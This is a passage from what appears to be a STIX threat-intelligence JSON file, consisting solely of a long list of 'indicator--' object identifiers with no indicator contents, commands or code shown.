        "indicator--544ac7c9-33ae-4052-8abc-ff8cab5c9c39",
        "indicator--9436efd0-68f3-4857-acfa-209d3529ef0d",
        "indicator--6319fb0f-f565-4059-a00b-a016bf7a9178",
        "indicator--13ee20fd-0850-40fc-83c8-c55534013b00",
        "indicator--4e34eb98-76a9-469e-a8ef-0b921dac6932",
        "indicator--cc579027-4f70-4f5a-ab7c-2de7f87e7828",
        "indicator--6c1219f6-50e9-4408-bc3e-5ac256629311",
        "indicator--581d9d40-f818-4ea8-9c7d-00654025e018",
        "indicator--0ac47fc9-3613-4617-865c-29ff8b5428e9",
        "indicator--ee69a1de-760c-45f3-bdf2-6b43ffdceb66",
        "indicator--bb0afc63-7e8a-4ef7-89c7-ea123c581c68",
        "indicator--a14c9ab1-6023-405f-91e0-32cb3fc65a2b",
        "indicator--87663f09-9d17-40ca-b996-747fec448249",
        "indicator--262664e4-2d19-4164-8626-97fa8af55489",
        "indicator--dbc09fa8-2d84-48ca-b338-2c8ed55d5361",
        "indicator--7111de05-7ed0-430b-b971-abfd44d6947c",
        "indicator--f392443f-098e-4941-b6fc-7a7a427d3a36",
        "indicator--7f5d5f1c-2509-4d74-936b-54118639dbfd",
        "indicator--8be0022d-2feb-445a-a049-a5920119a2e8",
        "indicator--d96ab01f-afb9-4737-955e-f7297a25f0cd",
        "indicator--f27fa9b5-c61d-4146-acff-3e8c48606881",
        "indicator--1e798255-1b89-491d-8b47-b74e0140d6da",
        "indicator--ce7e3957-baab-4179-a095-84376402d4be",
        "indicator--6ef751dd-fab6-4707-8406-4e32a7f67537",
        "indicator--63e3fe62-400d-4eed-8439-df8962404986",
        "indicator--288c7140-4ed7-44dd-b3a8-aa3a90c3d149",
        "indicator--846c938a-9ecf-4207-9331-1c1ce987a123",
        "indicator--33d22998-44b0-4145-bf4a-d2104a2f405d",
        "indicator--94ba50ca-5735-4265-b0bc-370f0e0a7e21",
        "indicator--937ad94f-198a-4cd6-840c-55af78f29d97",
        "indicator--1aa7be5b-6662-434b-9812-463dd335dc32",
        "indicator--5b6c4ee8-5aa6-4162-81d7-f2d5ed704ff7",
        "indicator--68068d41-301e-4111-962a-5cbcb6f37f03",
        "indicator--4d547fbc-b2b6-493e-9deb-cca76a0dfcaa",
        "indicator--e044c619-a4f7-4b3d-99b3-a4ce28611246",
        "indicator--50fffe02-7c9f-444a-acfc-d7dcb1be17b6",
        "indicator--19a2fe94-64cc-47bb-95a8-dd54bc2d50e7",
        "indicator--05a0a6ce-e91b-40dc-99e1-583f33d6309c",
        "indicator--83cc3ee7-ea1f-45f6-9f83-3f2dfaa73f5c",
        "indicator--67ebfe7f-46dd-4151-94dd-3fde6cc35727",
        "indicator--ec932e7e-5472-4133-95d5-d9ea68ce74f9",
        "indicator--c32cdb3c-8476-4a67-9e96-426daa87b3d8",
        "indicator--d980acd5-66c7-436e-a278-5bc25547bb13",
        "indicator--1012ca89-f717-4a64-b579-b90f90289904",
        "indicator--166b7b60-d8f0-4826-a69a-fd19bf46a9f3",
        "indicator--7e9a8c93-fdd8-4bed-83f0-9bb64ed615e1",
        "indicator--6e0b97f1-2496-4ec0-99ca-b0cd29192b84",
        "indicator--91325b65-b7de-42f0-86a3-6898797ad278",
        "indicator--2ac32364-923f-4896-8ad9-060f87b7e62a",
        "indicator--d887d3dd-e0ad-4ef3-9353-a1033a24b2a6",
        "indicator--6e18d657-dcc9-4443-876c-633fa85c1bc3",
        "indicator--c59874c6-dd04-4364-90e0-3ebbdcd4aa13",
        "indicator--92f01567-139e-4366-8889-cefb268554b4",
        "indicator--5c860d12-d5ac-4eb3-a47a-9d34bb7f9c76",
        "indicator--057d9c7b-6988-468c-a1ef-0105b4653114",
        "indicator--20c41c01-e66f-47a4-a865-98f0251b888d",
        "indicator--9e328a1d-fc69-44c3-a673-e847f2a2099e",
        "indicator--d8e27924-45e0-4e47-8ccc-d94583e53987",
        "indicator--bbb74f88-a9ca-4e0f-b05d-7d411b70c2f1",
        "indicator--c2472e0d-1194-48e9-ace4-07d25b18a96e",
        "indicator--d4e5a6b0-9cdf-45e4-b2f2-63625f3bfb9b",
        "indicator--5a5a836f-f5be-4cb0-9ea1-926d5c859631",
        "indicator--077cb72f-5896-4c4f-a462-7af8034c8c5d",
        "indicator--008c665f-284a-46e3-8c72-35468af40b0b",
        "indicator--ff525342-650a-4fb0-982e-3c4b39ac5bb3",
        "indicator--e2bbf24f-c034-45a5-8df5-fbec2ec3c768",
        "indicator--3bb87bd1-abb3-4fd1-a8a6-54a00ca01be9",
        "indicator--ba263347-100a-4fd1-9842-b384d3e7ae76",
        "indicator--93a2d292-1696-4b6a-81e8-4404a59eda1b",
        "indicator--632ee066-a250-4f95-a057-d2758a54e15d",
        "indicator--336d0acc-9e78-433a-9cc0-658bc3d73067",
        "indicator--a04087b5-cbf4-434f-abd9-4e355dc2ef20",
        "indicator--1a79e958-92fc-45a4-9626-b7b065d1de0d",
        "indicator--c38fd536-08a7-4258-ade7-4483b61bb35d",
        "indicator--435c1b4d-6b3b-43bd-ae83-528321b972b3",
        "indicator--884c526c-f5c2-4717-9cfa-fc17e3816e76",
        "indicator--fe8aaae1-9aec-4d18-a134-116b86dd4bce",
        "indicator--2eb31459-8eb4-46ae-a881-94980a171c0b",
        "indicator--18abdc31-fdd5-40d1-996d-f40386b06265",
        "indicator--24609302-afd6-4ec2-983c-460d2e561599",
        "indicator--0dfe0726-5c44-46ea-9f55-cfe698019d1f",
        "indicator--a2c505fb-b90c-4973-a976-566e09b787d7",
        "indicator--f9bd74c9-4f07-4945-aa9c-b8bbba28d684",
        "indicator--49b6554b-71f3-4088-bf28-220768122e47",
        "indicator--ab102450-6f31-4c69-ad8d-d359c1a0ae35",
        "indicator--40b0e6ad-060b-4d0b-8532-a43648859ec8",
        "indicator--37c94036-d5e7-489d-ae3c-ecb383d27ad6",
        "indicator--0078b702-cfa5-4fb7-b65a-67062da432ad",
        "indicator--aab9205b-cfb8-419f-90ac-fe0d25d4ec84",
        "indicator--76295ad3-0956-484e-bd01-dfc6c8d4f910",
        "indicator--fe62d51d-cbc7-403a-bee8-533d3af4a035",
        "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
        "indicator--e208436d-90fe-42a6-840c-4103c0cd401b",
        "indicator--13fc81b0-7618-4973-be19-f5ddb53dc1dd",
        "indicator--1edb5d85-d5e0-48f3-b6f3-fe03f70d9f6c",
        "indicator--2668b46b-5a36-4471-a1bd-309f0db889fd",
        "indicator--a571085e-b777-466e-bda8-074f7cfe4304",
        "indicator--39756983-cb45-4a72-8805-8c99fdcd4ba5",
        "indicator--140ec4e8-93fb-4c6e-bdd2-6482eb84606b",
        "indicator--f1195268-1058-4fff-b27c-0fe93456bbba",
        "indicator--64084698-9467-41e6-94e0-207bfa77fe5c",
        "indicator--0f1b4939-7beb-435b-8988-d6375076eb02",
        "indicator--deb7fede-4e94-4e1b-a3b7-670a385afe0d",
        "indicator--fdddc31d-3d0e-4f82-859f-6b03e8d9750e",
        "indicator--d0f60239-f206-4461-86a9-a21e8e564a3f",
        "indicator--1a380f76-cc77-45b0-be44-35a4005e37c8",
        "indicator--11156e46-02d1-48fe-a540-110706d9d95b",
        "indicator--60f46365-625b-4f5f-a611-0011d320a728",
        "indicator--9b151cf7-1b63-4177-8251-8e295fcf6fec",
        "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
        "indicator--dc41c4bd-7e2a-4e9d-ae8f-85a180a94270",
        "indicator--0efefb0e-a9a4-4cb0-8d1a-62906fb2808f",
        "indicator--43540f40-6402-4a69-a388-7c215e1a7000",
        "indicator--924d55ee-2205-4232-a701-25e1bdd4bbe6",
        "indicator--eff82795-7c42-4ec1-9a04-75cca575710b",
        "indicator--4b2c570c-8e89-46d9-93a7-5ed19c3cacb1",
        "indicator--9cada9f0-4dc5-46cc-864f-0571918a1d9a",
        "indicator--2f53056d-ff37-4a45-9ffb-b3d3d83c2f46",
        "indicator--1ede2dd4-a034-49d3-b8e6-6d5ed57c1913",
        "indicator--65f3dee9-cb4c-48bd-bf1c-6fb08dfbc503",
        "indicator--3798963f-8faa-43ea-acd1-5e23508436c3",
        "indicator--9b8089a1-b182-4d4a-987e-a192f96ffd3e",
        "indicator--32553c98-bcc1-4997-a1a9-009bc1f71834",
        "indicator--c51da8d4-16af-4308-a32e-209d0d55f405",
        "indicator--796e0cde-82f3-4c1f-9c93-cd263cbd5b00",
        "indicator--b4902dcf-d12f-4214-bbab-1782186582e2",
        "indicator--9b6f6355-c381-4621-a7f5-e5c2e6f1d017",
        "indicator--1f57621f-046f-4b19-b182-128e63e3125a",
        "indicator--b29319af-9e6c-4a05-b7c1-71f3b1629120",
        "indicator--7e472221-7701-4233-b109-0753c302c04d",
        "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
        "indicator--d864c10b-a619-4985-b98f-7999778897b1",
        "indicator--bea711f3-b3d7-422e-92a5-11122579931d",
        "indicator--6db08bc7-a012-4234-abc3-8a2e666abd6a",
        "indicator--9dd6c369-0412-4753-bccd-6141cec33fcf",
        "indicator--6aae8fa6-472b-439e-b80d-9f1d1034be50",
        "indicator--7016a601-14af-4049-b07e-1386f8fd8037",
        "indicator--deda267c-0d5c-46c9-ac18-48056485bf0d",
        "indicator--db2f164e-86c6-4510-9087-b757291fb989",
        "indicator--4800df29-9cf9-494f-ab9c-deda597cd9e6",
        "indicator--fd748756-47b9-4179-b552-a76e43310c88",
        "indicator--89430396-5b13-4221-b78a-35f9deaf6697",
        "indicator--1f4bf2c3-97c0-4637-95b5-7a7c4fd4bd04",
        "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
        "indicator--dc68f334-8cc2-4b70-93a6-09ec71ff4e02",
        "indicator--62630208-0bec-4f88-9085-88091e0176a4",
        "indicator--32e95d2a-13a6-456d-94b9-1586826f518e",
        "indicator--113bc352-339d-4760-a6ea-f4ef5ae08294",
        "indicator--fd359976-383d-438b-9392-abb5e1f2c667",
        "indicator--29c6f58b-acca-49c5-9039-362c4ac1b2be",
        "indicator--a4981b3a-6606-48e7-94c8-22b1138ca02c",
        "indicator--4bc2f410-824a-4734-aa39-c6ff63ac496d",
        "indicator--badfcc20-f8f6-47e6-b510-ea78dd46c651",
        "indicator--39069422-3f19-4923-8268-6fb9cfe7e019",
        "indicator--ee38dde9-48a7-4a3b-978a-9acdd1dff9c9",
        "indicator--237e5344-7c34-4362-8335-758729c55a0b",
        "indicator--e0d8f25e-894d-49f3-acbd-9d57082b848b",
        "indicator--a39e57ea-36f9-4bef-a496-11839953cea0",
        "indicator--13b43596-060b-4dbc-965d-7735ea16c2b6",
        "indicator--7b5d5579-398f-4a81-bab4-7edd7194cbf7",
        "indicator--9e755b2b-684b-41a3-b548-fecbefb2eae5",
        "indicator--32f83c3e-4dd9-48cd-a4a5-f77e3d41bbb7",
        "indicator--a1876a9e-6338-4208-bbe1-00f2c0c6c124",
        "indicator--11cdd625-e962-43d4-b005-a803bbf09248",
        "indicator--570ece14-c8a2-440f-8d67-aebfaca97c41",
        "indicator--7385d64c-7dcd-4846-9857-0299c2dfa769",
        "indicator--83ce353d-1c6b-4464-b3b7-9727c243dd26",
        "indicator--79254ed5-be17-4c60-9875-0123951e9ef8",
        "indicator--d525aa11-71a4-4d80-805a-a679f7a2fad4",
        "indicator--6ae49ffa-9a43-4da5-8539-f1ba4c750c43",
        "indicator--05183aeb-5843-4c34-8581-49beee73307b",
        "indicator--d839b69d-bbd1-4433-862a-681eed138cd8",
        "indicator--146b0c96-a322-4b3a-86bf-ef6d927e1b2a",
        "indicator--d1158602-c160-4ca5-933d-418247283312",
        "indicator--9137ed1b-5a3f-4d64-930a-f935d9e1abfc",
        "indicator--fe5c6e02-5cf8-46c9-a7a4-3d31b48cb063",
        "indicator--2cd37975-c6ab-4753-8f99-17c5a7d86be6",
        "indicator--ec95df02-e300-4807-9b46-1a193b29af03",
        "indicator--b1853fa0-49bf-4b43-9f9a-19aaef62cb3d",
        "indicator--74d69d76-7796-49b6-b510-4f820867d383",
        "indicator--d71f00b6-fcd2-4e73-94a8-d25b1a3d506e",
        "indicator--e19d8013-0e33-40a9-bd06-a5b9a2fa7050",
        "indicator--18ed036d-9f53-4f1a-862c-976ec8d293e4",
        "indicator--b3ba011d-6222-4474-88cb-48281d4061a2",
        "indicator--94599321-c3b7-481d-b792-0369962185b5",
        "indicator--36c29e4e-043b-474f-af0d-897fb3c149ca",
        "indicator--800b6ace-65e7-4a8e-a590-84b85838434b",
        "indicator--9b8f17b7-2abb-460b-a567-ba0d2699ec8c",
        "indicator--bd8cd90d-dc4e-4d18-a798-10245d78b064",
        "indicator--438802b7-87e9-4c1f-a788-d48c92c9c669",
        "indicator--bc4f5b24-6816-4972-adfa-239e54c3b124",
        "indicator--adde9755-1672-4bb1-bacd-c5d1969505ab",
        "indicator--f362e7e2-9725-4c6c-8093-5193f5f98cc3",
        "indicator--07406fea-7ef2-4ec0-bc58-e7bb746e6c3b",
        "indicator--7b31ed2f-9ab7-4a87-b3af-338f5f69f37c",
        "indicator--95046880-1087-4063-b129-2d69456930cc",
        "indicator--288e9699-7ee2-415f-aaf9-9b850e2ce191",
        "indicator--96c48b5b-2863-4488-9630-df2cef3554f6",
        "indicator--4cb2c3e1-4daf-4f88-904b-0ada2682e50a",
        "indicator--29b0ef2e-e585-451e-8ec7-5e5937598405",
        "indicator--e7d39e25-f8c3-423c-8b98-09e40647db29",
        "indicator--2fb91889-3166-4cff-a151-11b376e59a9b",
        "indicator--2041d361-1b4b-4ff9-966a-c07df07ead63",
        "indicator--84bcfe62-d01e-4ae8-8e7c-a3d86eb69727",
        "indicator--de840635-86ec-4587-b5df-6fc8d3226076",
        "indicator--9c414447-6f31-4430-b0c5-d2560f221bab",
        "indicator--32775024-a17e-4245-aaa7-d6bc9d89dacf",
        "indicator--5625de94-d609-4abe-968b-95f800a573da",
        "indicator--453869d2-5e5c-46c9-97b6-0e922868e952",
        "indicator--65ab9313-e172-4353-b932-90927a848c50",
        "indicator--a30ce149-bad2-42cc-b0dd-fd85355c8888",
        "indicator--bd0158e2-b33f-4dd8-afa6-42b1095a591a",
        "indicator--8da7fd86-050a-4f10-bc01-f4c5b4f47086",
        "indicator--62aa7907-0690-40f6-962f-58aeda9bee7c",
        "indicator--11084ebc-5ed4-4a93-9c17-7a4848bd9e5c",
        "indicator--82b54734-6dc1-495c-ae3a-aad9f2807817",
        "indicator--77d0cf38-52d3-46a6-bb09-28cc3758c805",
        "indicator--b75311e5-b93a-465b-b426-109810bbc1ea",
        "indicator--c404c57d-5fcf-4ca1-9649-827a4e8f8931",
        "indicator--4ad27782-b350-4414-ae29-fb10f5a6979f",
        "indicator--6e49da55-7996-4a03-be2b-16c3a7a9f944",
        "indicator--828e2443-a0cc-43d3-9c63-312d639abf19",
        "indicator--413d37b3-0e42-4e83-8984-0a357293bad2",
        "indicator--264e480a-9933-49b1-806f-15a8c0dffd66",
        "indicator--d33ccd05-f172-4c58-af07-020c472dbaf2",
        "indicator--f0592888-e2eb-4685-a593-2741665e53ac",
        "indicator--87dff3d9-9f7c-4b85-a033-33b7f1d0a1f8",
        "indicator--446dec01-9dee-4151-b9ca-0bd1cb49ad1a",
        "indicator--a18aee32-4b30-4b57-860e-103d2112ea81",
        "indicator--15cba6a2-d65e-4666-8ac7-c63308f2bf72",
        "indicator--e6dd7f39-70f6-48d6-944b-55fe527d1da0",
        "indicator--3a9d1f82-af47-4dfd-a82a-351e4acdf2b4",
        "indicator--c66694d1-0cc3-44ba-bcf8-4449a9a3a720",
        "indicator--fb6f5eae-892e-4ed2-9e11-bcc2bcbb46f9",
        "indicator--8056eedd-0189-4d6a-9585-b18c5ead40a5",
        "indicator--a04edd92-9930-4055-a2c9-c91dd6cc4745",
        "indicator--a163f738-83c8-415c-9e40-dd9a3a221eff",
        "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
        "indicator--35d546b4-a2d2-43b9-815f-8c6f66c77a14",
        "indicator--15c31eaa-688e-4115-a8cc-d517157825c6",
        "indicator--34c84b27-94f6-43d5-ac02-8adec35dfc6c",
        "indicator--8945d59e-b1ba-401a-8a46-931b8b44fded",
        "indicator--e3e2fbfb-9bdc-465a-a09f-543a2c098b6c",
        "indicator--2a8991d5-2423-47e8-81c0-9dfeed1d3ba4",
        "indicator--3ba212bd-381a-409f-931f-f942406a2a00",
        "indicator--9e5831b8-e633-4b6c-8577-2912821a0260",
        "indicator--afe0fc0e-56c2-4343-ad57-5896ab7f1380",
        "indicator--8eaa0cdf-95be-4408-ba26-ccdc981a5334",
        "indicator--d70947e1-c453-41a8-bdfa-7ae21e595714",
        "indicator--aac177d3-01b8-47a4-9862-a9a3de6d0131",
        "indicator--c96bf07f-0bff-44ad-9f6e-9f05368a56f6",
        "indicator--3069fc36-a982-4233-a016-32b51efc82af",
        "indicator--e3a1e3d0-8bb1-4e15-91dc-8c83f667fc48",
        "indicator--84418680-f4dc-4a6e-882f-6bc50b336eb6",
        "indicator--606a879e-dea8-484b-92b4-07b5aa196ebd",
        "indicator--4a08949d-1e49-42db-a12c-a597b2dfcf37",
        "indicator--f4cfe790-fd06-4b94-b373-294b7b2cc015",
        "indicator--53cf7b94-e46e-4b65-8d46-8ffcb7dacdf7",
        "indicator--91dd778c-504b-40ef-879a-7883ae2d85fd",
        "indicator--3def49e6-22df-4471-afd7-26ca26cc8557",
        "indicator--cf9bd265-79a3-4ebc-8474-965067dfc79a",
        "indicator--3fa7d3fc-e082-467c-af03-97e772de0660",
        "indicator--1bfd9f12-6083-4f9a-a532-f3d8480ac99d",
        "indicator--9147248c-dea9-462d-beac-c8ee1f4dbf68",
        "indicator--5b88f033-0b86-4802-90c8-1dc066a68658",
        "indicator--15d40072-a458-48e5-bc7b-82c1fda568ea",
        "indicator--6a242bc9-39a4-4694-b18e-013ca450f023",
        "indicator--5a9e8ad0-f586-4bf9-9690-38e9d4ce78e1",
        "indicator--663acafa-0f2f-4e29-9ebe-8b31c54537ee",
        "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
        "indicator--60f8567d-ba63-4ab6-a4dc-4dc02b4b87bc",
        "indicator--90ac8af0-7375-4b82-8a0c-ff2c6f1a4f0d",
        "indicator--7a03df79-7bb2-40f9-ab7f-434132b8ae6b",
        "indicator--7fe6b9a2-7584-4c82-9f59-7d69aeb9c48d",
        "indicator--982862e1-dc32-46b0-bb12-70904ef77f9a",
        "indicator--c564785b-752a-42ad-8499-4beaf0f7de28",
        "indicator--cfd2ac42-98e2-4ffd-ad63-47c48fd33713",
        "indicator--4ebd114f-a087-4384-bf39-eb25a22011af",
        "indicator--de0432da-f23c-4a9a-9644-a005d40c58cc",
        "indicator--8db3ae21-42f5-493b-9222-48f3576f0601",
        "indicator--f262246f-fb77-4258-ad5f-2504cd2c8044",
        "indicator--9397d903-512a-4419-afe0-847b87d17da2",
        "indicator--fe7512b6-c032-4614-8b55-63bb94e7bc0d",
        "indicator--0cdb5f79-9e87-4ac0-984b-18e14e998879",
        "indicator--f4b3d30c-fdbc-4153-9501-f1bdf8b91237",
        "indicator--b25eb210-8219-4ec4-a972-6d047936f667",
        "indicator--354bfdb8-12c6-432b-83d0-7e01f5a98d5e",
        "indicator--f0d795e2-c21e-400d-b8fe-aed894ec1373",
        "indicator--34e7e788-2381-49ed-8407-df892d7a447b",
        "indicator--6e90dc92-360a-48c1-a290-23d87ec4b20b",
        "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
        "indicator--4172a25d-2b5c-4e4b-9d8b-6944506c1720",
        "indicator--71630ea3-9906-400b-a3e0-7155482fa25f",
        "indicator--8e8e6442-f084-435c-9b1c-6de72aaf00d6",
        "indicator--8433bb4a-c1d1-435a-8526-0230bcf58853",
        "indicator--50fcdd6d-9e65-439d-91c6-99573da9b443",
        "indicator--cc55153e-d693-43e0-9ee0-43410e5e4358",
        "indicator--3aed9744-ba3f-407b-b3b5-a4dfdc7aa453",
        "indicator--d55dbbfe-ca7a-4172-ac8a-2b646ec0fe90",
        "indicator--4f93a103-d008-4977-824a-e18a0d3c4bef",
        "indicator--e63b25d3-abb1-4d02-b590-a65631b2aa8d",
        "indicator--fc16af67-1a5a-4cd6-af85-4f3a2eebb3e5",
        "indicator--dfd48827-a44b-477b-8beb-feb8c01dd7c3",
        "indicator--d5ee40c3-3754-4e7b-8c1c-ed899e50b7af",
        "indicator--f492fed1-5f1d-4938-8a6d-737b7c9d2c4f",
        "indicator--b40ba8a0-c768-4f4c-b030-850fe30e711f",
        "indicator--f7919631-ba7c-4ae0-8c09-6397f61a7212",
        "indicator--d187da34-41fc-4097-85ef-7e03de505b9b",
        "indicator--e0cfb3f0-c7f5-4951-b65f-e88e6f121433",
        "indicator--c49113e5-41e8-4aed-934d-b2dc7425e755",
        "indicator--57674d80-feba-48df-a010-19f4e73bf398",
        "indicator--39620776-5624-4596-8576-d98a16ab1ec7",
        "indicator--5803e726-c5cc-44d1-aa88-a99d02c70d4f",
        "indicator--a47cc93c-c46d-494a-ac4f-92c1e8785323",
        "indicator--4014f63b-b1e2-4fb3-9470-b880f37c0442",
        "indicator--54bc2da7-0e3e-4213-aaca-211422fd6ae0",
        "indicator--bb5db3d1-45a4-421b-90db-745042f78f97",
        "indicator--32d8ad54-87a9-4921-89c7-0ee2aa59fb41",
        "indicator--1d05c515-92ce-4993-acd1-dce99138c838",
        "indicator--1f1629c7-3f0d-4464-9eed-8f744b5c9d2c",
        "indicator--404d9975-3499-4aba-b4eb-bb4dddb92fe8",
        "indicator--129d9da4-2b5b-445a-966e-9646f930cd0f",
        "indicator--d7a9fa4c-a302-4f1f-94c6-8ccb4d33a6b2",
        "indicator--2c241a12-956e-455a-810b-134cd0e9fc81",
        "indicator--31950fdd-47c7-4e71-899e-a7ac8c0f035d",
        "indicator--cbee3e4b-255a-40bd-857d-8f1218da3f43",
        "indicator--86a3f4e3-9a87-440b-ac5e-554685395f43",
        "indicator--e60188cc-caee-4f86-8b4c-933cebcc1aec",
        "indicator--0c544339-7a3e-4678-b3ff-782463cf0439",
        "indicator--0f66d807-1840-4fda-9e39-7c96de2251e8",
        "indicator--326edc80-fb0f-4405-9f55-f08fc011bfdd",
        "indicator--87ba0f74-b99a-493a-ab45-89f4a82a1a8b",
        "indicator--3ff9251a-a8b7-48e4-8df3-a8bb2b9eaabc",
        "indicator--e16d8101-68c1-4149-8723-ca49effef5e4",
        "indicator--51be9926-4faf-4331-8942-e0242febea12",
        "indicator--a3af8ef8-8794-4e32-bff3-1ee6b18861c9",
        "indicator--ab68addc-332d-47d4-bd34-11dfdd1d6fea",
        "indicator--e1c3d0b6-1a46-42d3-868f-97d7dbed6d2b",
        "indicator--7a7bdabc-c508-4185-8787-dc064cd5c376",
        "indicator--818c0b78-c19f-4107-8f4c-e856a415778a",
        "indicator--4566ab69-33c1-480d-8a7a-b7395dfcc509",
        "indicator--52638d6d-aecf-44c9-b9aa-60aecc3e64c4",
        "indicator--92050659-a139-49fa-9b30-10cc8e594d9f",
        "indicator--a96fbf58-af78-464f-b629-8636a8c2a72d",
        "indicator--c2b4bd56-a475-4ec4-890c-91b364530322",
        "indicator--7b021fe4-cd04-428b-93f9-b689cb0a2c0a",
        "indicator--cc37163c-fd8f-4a10-9e7b-57dcafbcc236",
        "indicator--7864fcac-465e-4a7b-b00e-b1738b630907",
        "indicator--7c3c8189-eba2-4f81-a7a0-e9e9acf77373",
        "indicator--4b599b15-740a-4ec7-be27-028c47dd0129",
        "indicator--56ac12d8-c3dc-42cf-9c9c-b06d9db2e839",
        "indicator--ff13b4e8-7900-4d9f-ae48-7f3af1bdd9a9",
        "indicator--62d48f96-c92c-4ac2-bd76-6d96916c5596",
        "indicator--0606b29a-6c69-49f4-83dd-a39ee9f8b984",
        "indicator--67775284-aa0c-44de-bdb5-9641bdba4aa4",
        "indicator--06106695-ebda-4544-872a-e8901cca9799",
        "indicator--4b0b241f-654a-4364-8ac3-50e7af557c2d",
        "indicator--93bace69-c151-40a6-8be7-ef1eabbc200c",
        "indicator--83db5fb4-88cf-4693-a684-7135d26c6bad",
        "indicator--a09d0e8d-1fc7-44f3-bf06-a20e5229b79c",
        "indicator--a52450a4-d7de-4a95-bb13-904791a7c2b8",
        "indicator--b66f61cf-0654-43c2-b3ad-449f795af908",
        "indicator--2801727d-2f71-409d-9646-e608f4d81c16",
        "indicator--07dadcc2-f0fe-4b76-8641-7c26dfc3fd27",
        "indicator--6f2be6b0-8cff-4ae2-8e8d-0c278d39eec6",
        "indicator--c408d959-3e13-4f1a-8ac5-06862b0c3b72",
        "indicator--4f3e502e-8e3d-47a9-bb19-21a0a7b6b246",
        "indicator--50cc928e-9ba3-4cd5-a313-cf87294f4bde",
        "indicator--121f90ed-a724-4dcd-b31b-832e111d762f",
        "indicator--a0a5d843-c850-4136-931f-78a6f6a2f0b3",
        "indicator--78e40859-01cc-4d42-b7cc-7685f50d370e",
        "indicator--303c5f10-4e6e-4b98-8906-5239c521394f",
        "indicator--f7b47051-fe66-4216-a41f-82608c2e96ba",
        "indicator--d99b5f9a-f339-4271-abd4-600aad94c40b",
        "indicator--eb79a34b-a729-4f5a-83e6-303ede0c2609",
        "indicator--22d43438-681c-41e6-ba66-b37adf4f9378",
        "indicator--a31092b2-1f51-4685-aa81-161d41414175",
        "indicator--7f955b74-78ba-46b4-94dd-33c17d50b3b6",
        "indicator--838732f4-5fb8-4faa-9242-adbd6a4f9853",
        "indicator--6fe4798e-00e9-47b8-a8c5-c33549603428",
        "indicator--76be0737-7c02-47cc-8a6f-6439a6a21dc1",
        "indicator--0da29686-9aa0-4b01-acea-54d9e4c2058e",
        "indicator--1d74b620-5f19-4157-b743-bb4fc200247b",
        "indicator--6381c169-8d0e-4a5f-9dcf-0f0ad4894aac",
        "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
        "indicator--0dc45f63-c07e-4894-b060-1e30db07f989",
        "indicator--7de366a6-dc5b-4376-88a7-ab4faf1b8d41",
        "indicator--b1610936-2175-4d07-9398-5a5f24777c84",
        "indicator--03496b0f-4580-422a-955a-f6a6b811c5e9",
        "indicator--b9c82a63-6f33-4988-a2b2-85cb811dd2ea",
        "indicator--737c298e-b791-4da6-b1bc-494a23a45b76",
        "indicator--cc4a4a92-56d9-47fa-aa26-681692de2fc6",
        "indicator--7a895b70-6d18-49e2-9862-6f979363c91d",
        "indicator--b30caee9-6d1a-4608-b5c5-d7587103f0d1",
        "indicator--ee55b0a7-7163-4fa4-adc9-567e5b0e2cbe",
        "indicator--2ad0b7d8-4d73-4256-bd28-45398a1b2192",
        "indicator--25426c03-fee4-4ecc-baf0-783ab59be275",
        "indicator--401c8632-2216-4834-a4d9-5d1e1aba3dcf",
        "indicator--43447e83-f2fe-4263-af13-28a2a19a0907",
        "indicator--f82ad02b-c6cd-4fae-ae7c-54074221149b",
        "indicator--7b3e2ac8-14d6-4fb2-8753-bac381767f9c",
        "indicator--09d5144c-b7d0-4d84-a1e7-4609618836ab",
        "indicator--b741667f-034e-4000-887b-dd98b91e3a07",
        "indicator--237bf5a8-168b-4b3a-8167-7f81f8df985a",
        "indicator--04c7d252-f36c-4afe-8f77-b89166e955c7",
        "indicator--fe0dc80c-8d74-4db1-83fa-db60b4fedaed",
        "indicator--dbbca4f6-be4a-4f70-ad96-5db60d88d1a5",
        "indicator--71b2d3eb-d56c-4c60-b8c7-b65eea03a7f0",
        "indicator--c539abe4-5e24-4809-8442-223b771cdb0d",
        "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
        "indicator--02980be0-31aa-4b25-9131-b7a3dccbe237",
        "indicator--74aa0a40-ff35-4f56-bece-bb12f2cceb1b",
        "indicator--f056e28e-2757-4cd1-a1ac-60cce09dfced",
        "indicator--cbfb5fcc-006b-4dbd-804b-1d23af1609b2",
        "indicator--8b8718f4-1bbd-4897-b469-42b2a916a7e7",
        "indicator--7962e455-9acd-423c-aa05-ef164fdb2cb2",
        "indicator--2c2c30e3-84a3-4442-b086-4804b18ad1bf",
        "indicator--62cf7850-c7ba-4e05-9766-c4d64ed70062",
        "indicator--178918be-09c2-442d-b569-59bf40a88eaa",
        "indicator--e6ff26db-9d99-448d-bcf8-e31b6810683d",
        "indicator--39c8d329-0745-4e30-931a-a0b21d57c969",
        "indicator--9be557b0-fd95-48e8-bfb8-856a00a77d34",
        "indicator--9439359f-696d-4293-b1d6-2b961dcd7840",
        "indicator--08617f9e-f107-4b0c-a4bf-c5dfc1c626dd",
        "indicator--eef81ab9-0527-4423-92eb-09385c6036ed",
        "indicator--b85e7db4-1de2-476d-a5a2-edd8de8c5d32",
        "indicator--dc30a028-a9c7-4e11-b423-84264b3c002b",
        "indicator--50de3462-cf69-4c8f-9c9a-53000a5ed006",
        "indicator--c2b62c43-f641-4b5a-acec-34957a793380",
        "indicator--4e46b3f2-6b6d-489d-89d6-e937e9ed686b",
        "indicator--7d58cc5c-9793-4181-96af-69ccfbd8bf0d",
        "indicator--0a6811e3-001b-4043-94b3-334846186134",
        "indicator--b7c75101-9c5e-4ca1-be10-fc2cb1fb984a",
        "indicator--8c217f2d-3d1a-4369-a91d-8e0af0a9cfc0",
        "indicator--1c2ca2fa-62db-4f48-bcfc-94978d9f7292",
        "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
        "indicator--a0591e1a-3f0b-449d-b663-3e145aaa3f43",
        "indicator--b758db16-08e0-4f26-a4f2-943b028ed253",
        "indicator--09905267-f0c5-4db2-9495-5b03e85b403c",
        "indicator--37fe5d9c-8ef8-4068-905d-a7d16b79eafe",
        "indicator--b96e5f68-0427-44ab-b1bf-6704c9d21414",
        "indicator--52872647-4589-48c8-86d0-accf820183b3",
